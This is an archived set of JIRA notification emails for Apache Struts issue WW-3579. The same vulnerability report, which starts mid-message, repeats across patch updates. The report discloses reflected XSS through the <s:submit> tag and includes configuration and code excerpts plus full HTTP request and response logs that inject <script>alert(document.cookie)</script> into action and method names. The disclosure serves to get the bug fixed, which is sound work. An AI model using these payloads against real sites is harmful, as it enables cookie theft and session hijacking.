> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin%21cantLogin<script>alert(document.cookie)</script>=Can%27t+login
> HTTP response:
> HTTP/1.1 500 Internal Server Error
> Date: Fri, 18 Feb 2011 18:16:51 GMT
> Content-Type: text/html; charset=UTF-8
> Content-Length: 97
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> some_path.action.LoginAction.cantLogin<script>alert(document.cookie)</script>()
> NOTE 1: Without proper output escaping for the invoked method (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.
> NOTE 2: the returned error also exposes internal paths for the Java class implementing the action for which we manipulate the method to be called (LoginAction in this case). 
> 3.2 passing in a nonexistent action login<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin<script>alert(document.cookie)</script>%21cantLogin=Can%27t+login
> HTTP response:
> HTTP/1.1 404 Not Found
> Date: Fri, 18 Feb 2011 18:21:33 GMT
> Content-Type: text/html; charset=UTF-8
> X-GMS-SVR: wpFour
> Content-Length: 103
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> There is no Action mapped for namespace / and action name login<script>alert(document.cookie)</script>.
> NOTE: Without proper output escaping for the invoked action (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.

-- 
This message is automatically generated by JIRA.
-
For more information on JIRA, see: http://www.atlassian.com/software/jira

        

[jira] Updated: (WW-3579) XSS vulnerability

Posted by "Marian Ventuneac (JIRA)" <ji...@apache.org>.
     [ https://issues.apache.org/jira/browse/WW-3579?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Marian Ventuneac updated WW-3579:
---------------------------------

    Attachment: WW-3579 - 2.patch

Patch for <s:submit> XSS vulnerabilities

> <s:submit> XSS vulnerability
> ----------------------------
>
>                 Key: WW-3579
>                 URL: https://issues.apache.org/jira/browse/WW-3579
>             Project: Struts 2
>          Issue Type: Bug
>    Affects Versions: 2.2.1
>         Environment: Application Server: Oracle WebLogic 10.3.3.0
> JRE: 1.6.9_05-b13
> Development Framework: Struts 2.2.1 (with XWork 2.2.1)
>            Reporter: Marian Ventuneac
>            Assignee: Lukasz Lenart
>              Labels: security
>         Attachments: WW-3579 - 2.patch, WW-3579.patch, WW-3579.patch2
>
>
> Reflected XSS attacks can be performed on applications using Struts 2.2.1 (with XWork 2.2.1) via <s:submit> tag when the following conditions are met: 
> - no declarative error handling rule is defined in struts.xml with <global-exception-mappings>   AND
> - Dynamic Method Invocation is enabled (this is enabled by default)   AND
> - bash syntax is used in JSP via <s:submit> tag for calling Struts actions and methods   AND  (
> - the called method is not defined in the action implementation class   OR
> - the called action is not matching one already defined in struts.xml  )
> Thus, a custom error page is generated by Struts/XWork (most likely the last one) for rendering such errors. Due to the lack of output encoding for either action or method passed via <s:submit> tag using bash syntax, reflected XSS can be performed by injecting malicious scripting code into both the invoked action and method. 
> Relevant Struts configuration, Java and JSP code is provided below, as well as two test cases showing the reflected XSS issues in Struts/XWork generated error page.
> 1. Configuration
> 1.1 struts.xml
> NOTE: action cantlogin is used for subsequent tests
> <?xml version="1.0" encoding="UTF-8" ?>
> <!DOCTYPE struts PUBLIC
>     "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
>     "http://struts.apache.org/dtds/struts-2.0.dtd">
> <struts>
>             <constant name="struts.devMode" value="false" />
>             <constant name="struts.i18n.encoding" value="UTF-8" />
>             <constant name="struts.codebehind.pathPrefix" value="/WEB-INF/pages/" />
>             <constant name="struts.action.extension" value="html" />
>             <constant name="struts.ui.theme" value="simple"/>
>             <constant name="struts.custom.i18n.resources" value="ErrorCodes,ApplicationResources" />
>             <constant name="struts.multipart.maxSize" value="26214400"/>
>     
>             <!-- Include Struts defaults -->
>             <include file="struts-default.xml" />
>             
>             <!-- Configuration for the default package. -->
>             <package name="default" extends="struts-default">
>        
> ...                        
>                         <global-results>
>                                     <result name="login" type="redirectAction">home</result>
>                                     <result name="sslError">/error.jsp</result>
>                         </global-results>
>                                                 
>                         ...
>             
>                         <action name="login" class="some_path.action.LoginAction">
>                                     <param name="fieldSetNames">...</param>
>                                     <result name="input">/WEB-INF/pages/home.jsp</result>
>                                     <result name="error">/WEB-INF/pages/home.jsp</result>
>                                     <result name="cantlogin" type="redirectAction">
>                                                 <param name="actionName">cantlogin</param>
>                                                 <param name="userId">${userId}</param>
>                                     </result>
>                                     <result name="proceed" type="redirect">landing.html</result>
>                         </action>
>                         
>                         
>             </package>
> </struts>
> 1.2 checking for Dynamic Method Invocation in the Struts 2.2.1 source code (struts2-core-2.2.1-sources.jar), the DMI setting is set to true in default.properties
> struts.enable.DynamicMethodInvocation = true 
> 2. Code
> 2.1 LoginAction.java
> package some_path.action;
> ...
> public class LoginAction extends BaseAction {
>             public static final String CANTLOGIN = "cantlogin";
>             ...       
>             public String cantLogin(){
>                         String returnType = ERROR;
>                         try {
>                                 ...
>                                 returnType = CANTLOGIN;
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         }catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
>             public String doLogin() {
>                         String returnType = ERROR;
>                         try {
>                                ...
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         } catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
> }
> 2.2 login.jsp
> <!DOCTYPE html PUBLIC "-// W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
> <%@ include file="/common/taglibs.jsp"%>
> <html xmlns="http://www.w3.org/1999/xhtml">
> <head>
> ...
> </head>
> <body>
> ...
>  <form name="loginform" id="loginform" method="post" action="">
>    ...
>    <s:submit action="login" method="doLogin" name="signin" key="sign.in" cssClass="login-submit" theme="simple" />
>    <s:submit action="login" method="cantLogin" name="cantlogin" key="cant.login" cssClass="cant-login right" theme="simple" />
>    </form>
> ...
> </body>
> </html>
> NOTE: For the tests detailed in section 3, <s:submit > tag is used to call cantLogin method of LoginAction class. 
> In HTML code this is rendered using the bash syntax as shown below:
> ...
>    <input type="submit" id="cantlogin" name="action:login!cantLogin" value="Can't login" class="cant-login right"/>
>  
>                           </div>         
>                           </form>
> ...
> 3. XSS Tests
> 3.1 passing in a nonexisting method cantLogin<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin%21cantLogin<script>alert(document.cookie)</script>=Can%27t+login
> HTTP response:
> HTTP/1.1 500 Internal Server Error
> Date: Fri, 18 Feb 2011 18:16:51 GMT
> Content-Type: text/html; charset=UTF-8
> Content-Length: 97
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> some_path.action.LoginAction.cantLogin<script>alert(document.cookie)</script>()
> NOTE 1: Without proper output escaping for the invoked method (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.
> NOTE 2: the returned error also exposes internal paths for the Java class implementing the action for which we manipulate the method to be called (LoginAction in this case). 
> 3.2 passing in a nonexistent action login<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin<script>alert(document.cookie)</script>%21cantLogin=Can%27t+login
> HTTP response:
> HTTP/1.1 404 Not Found
> Date: Fri, 18 Feb 2011 18:21:33 GMT
> Content-Type: text/html; charset=UTF-8
> X-GMS-SVR: wpFour
> Content-Length: 103
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> There is no Action mapped for namespace / and action name login<script>alert(document.cookie)</script>.
> NOTE: Without proper output escaping for the invoked action (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.

-- 
This message is automatically generated by JIRA.
-
For more information on JIRA, see: http://www.atlassian.com/software/jira

        

[jira] Updated: (WW-3579) XSS vulnerability

Posted by "Lukasz Lenart (JIRA)" <ji...@apache.org>.
     [ https://issues.apache.org/jira/browse/WW-3579?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Lukasz Lenart updated WW-3579:
------------------------------

    Attachment: WW-3579.patch

Possible patch

> <s:submit> XSS vulnerability
> ----------------------------
>
>                 Key: WW-3579
>                 URL: https://issues.apache.org/jira/browse/WW-3579
>             Project: Struts 2
>          Issue Type: Bug
>    Affects Versions: 2.2.1
>         Environment: Application Server: Oracle WebLogic 10.3.3.0
> JRE: 1.6.9_05-b13
> Development Framework: Struts 2.2.1 (with XWork 2.2.1)
>            Reporter: Marian Ventuneac
>            Assignee: Lukasz Lenart
>              Labels: security
>         Attachments: WW-3579.patch
>
>
> Reflected XSS attacks can be performed on applications using Struts 2.2.1 (with XWork 2.2.1) via <s:submit> tag when the following conditions are met: 
> - no declarative error handling rule is defined in struts.xml with <global-exception-mappings>   AND
> - Dynamic Method Invocation is enabled (this is enabled by default)   AND
> - bash syntax is used in JSP via <s:submit> tag for calling Struts actions and methods   AND  (
> - the called method is not defined in the action implementation class   OR
> - the called action is not matching one already defined in struts.xml  )
> Thus, a custom error page is generated by Struts/XWork (most likely the last one) for rendering such errors. Due to the lack of output encoding for either action or method passed via <s:submit> tag using bash syntax, reflected XSS can be performed by injecting malicious scripting code into both the invoked action and method. 
> Relevant Struts configuration, Java and JSP code is provided below, as well as two test cases showing the reflected XSS issues in Struts/XWork generated error page.
> 1. Configuration
> 1.1 struts.xml
> NOTE: action cantlogin is used for subsequent tests
> <?xml version="1.0" encoding="UTF-8" ?>
> <!DOCTYPE struts PUBLIC
>     "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
>     "http://struts.apache.org/dtds/struts-2.0.dtd">
> <struts>
>             <constant name="struts.devMode" value="false" />
>             <constant name="struts.i18n.encoding" value="UTF-8" />
>             <constant name="struts.codebehind.pathPrefix" value="/WEB-INF/pages/" />
>             <constant name="struts.action.extension" value="html" />
>             <constant name="struts.ui.theme" value="simple"/>
>             <constant name="struts.custom.i18n.resources" value="ErrorCodes,ApplicationResources" />
>             <constant name="struts.multipart.maxSize" value="26214400"/>
>     
>             <!-- Include Struts defaults -->
>             <include file="struts-default.xml" />
>             
>             <!-- Configuration for the default package. -->
>             <package name="default" extends="struts-default">
>        
> ...                        
>                         <global-results>
>                                     <result name="login" type="redirectAction">home</result>
>                                     <result name="sslError">/error.jsp</result>
>                         </global-results>
>                                                 
>                         ...
>             
>                         <action name="login" class="some_path.action.LoginAction">
>                                     <param name="fieldSetNames">...</param>
>                                     <result name="input">/WEB-INF/pages/home.jsp</result>
>                                     <result name="error">/WEB-INF/pages/home.jsp</result>
>                                     <result name="cantlogin" type="redirectAction">
>                                                 <param name="actionName">cantlogin</param>
>                                                 <param name="userId">${userId}</param>
>                                     </result>
>                                     <result name="proceed" type="redirect">landing.html</result>
>                         </action>
>                         
>                         
>             </package>
> </struts>
> 1.2 checking for Dynamic Method Invocation in the Struts 2.2.1 source code (struts2-core-2.2.1-sources.jar), the DMI setting is set to true in default.properties
> struts.enable.DynamicMethodInvocation = true 
> 2. Code
> 2.1 LoginAction.java
> package some_path.action;
> ...
> public class LoginAction extends BaseAction {
>             public static final String CANTLOGIN = "cantlogin";
>             ...       
>             public String cantLogin(){
>                         String returnType = ERROR;
>                         try {
>                                 ...
>                                 returnType = CANTLOGIN;
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         }catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
>             public String doLogin() {
>                         String returnType = ERROR;
>                         try {
>                                ...
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         } catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
> }
> 2.2 login.jsp
> <!DOCTYPE html PUBLIC "-// W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
> <%@ include file="/common/taglibs.jsp"%>
> <html xmlns="http://www.w3.org/1999/xhtml">
> <head>
> ...
> </head>
> <body>
> ...
>  <form name="loginform" id="loginform" method="post" action="">
>    ...
>    <s:submit action="login" method="doLogin" name="signin" key="sign.in" cssClass="login-submit" theme="simple" />
>    <s:submit action="login" method="cantLogin" name="cantlogin" key="cant.login" cssClass="cant-login right" theme="simple" />
>    </form>
> ...
> </body>
> </html>
> NOTE: For the tests detailed in section 3, <s:submit > tag is used to call cantLogin method of LoginAction class. 
> In HTML code this is rendered using the bash syntax as shown below:
> ...
>    <input type="submit" id="cantlogin" name="action:login!cantLogin" value="Can't login" class="cant-login right"/>
>  
>                           </div>         
>                           </form>
> ...
> 3. XSS Tests
> 3.1 passing in a nonexisting method cantLogin<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin%21cantLogin<script>alert(document.cookie)</script>=Can%27t+login
> HTTP response:
> HTTP/1.1 500 Internal Server Error
> Date: Fri, 18 Feb 2011 18:16:51 GMT
> Content-Type: text/html; charset=UTF-8
> Content-Length: 97
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> some_path.action.LoginAction.cantLogin<script>alert(document.cookie)</script>()
> NOTE 1: Without proper output escaping for the invoked method (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.
> NOTE 2: the returned error also exposes internal paths for the Java class implementing the action for which we manipulate the method to be called (LoginAction in this case). 
> 3.2 passing in a nonexistent action login<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin<script>alert(document.cookie)</script>%21cantLogin=Can%27t+login
> HTTP response:
> HTTP/1.1 404 Not Found
> Date: Fri, 18 Feb 2011 18:21:33 GMT
> Content-Type: text/html; charset=UTF-8
> X-GMS-SVR: wpFour
> Content-Length: 103
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> There is no Action mapped for namespace / and action name login<script>alert(document.cookie)</script>.
> NOTE: Without proper output escaping for the invoked action (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.

-- 
This message is automatically generated by JIRA.
-
For more information on JIRA, see: http://www.atlassian.com/software/jira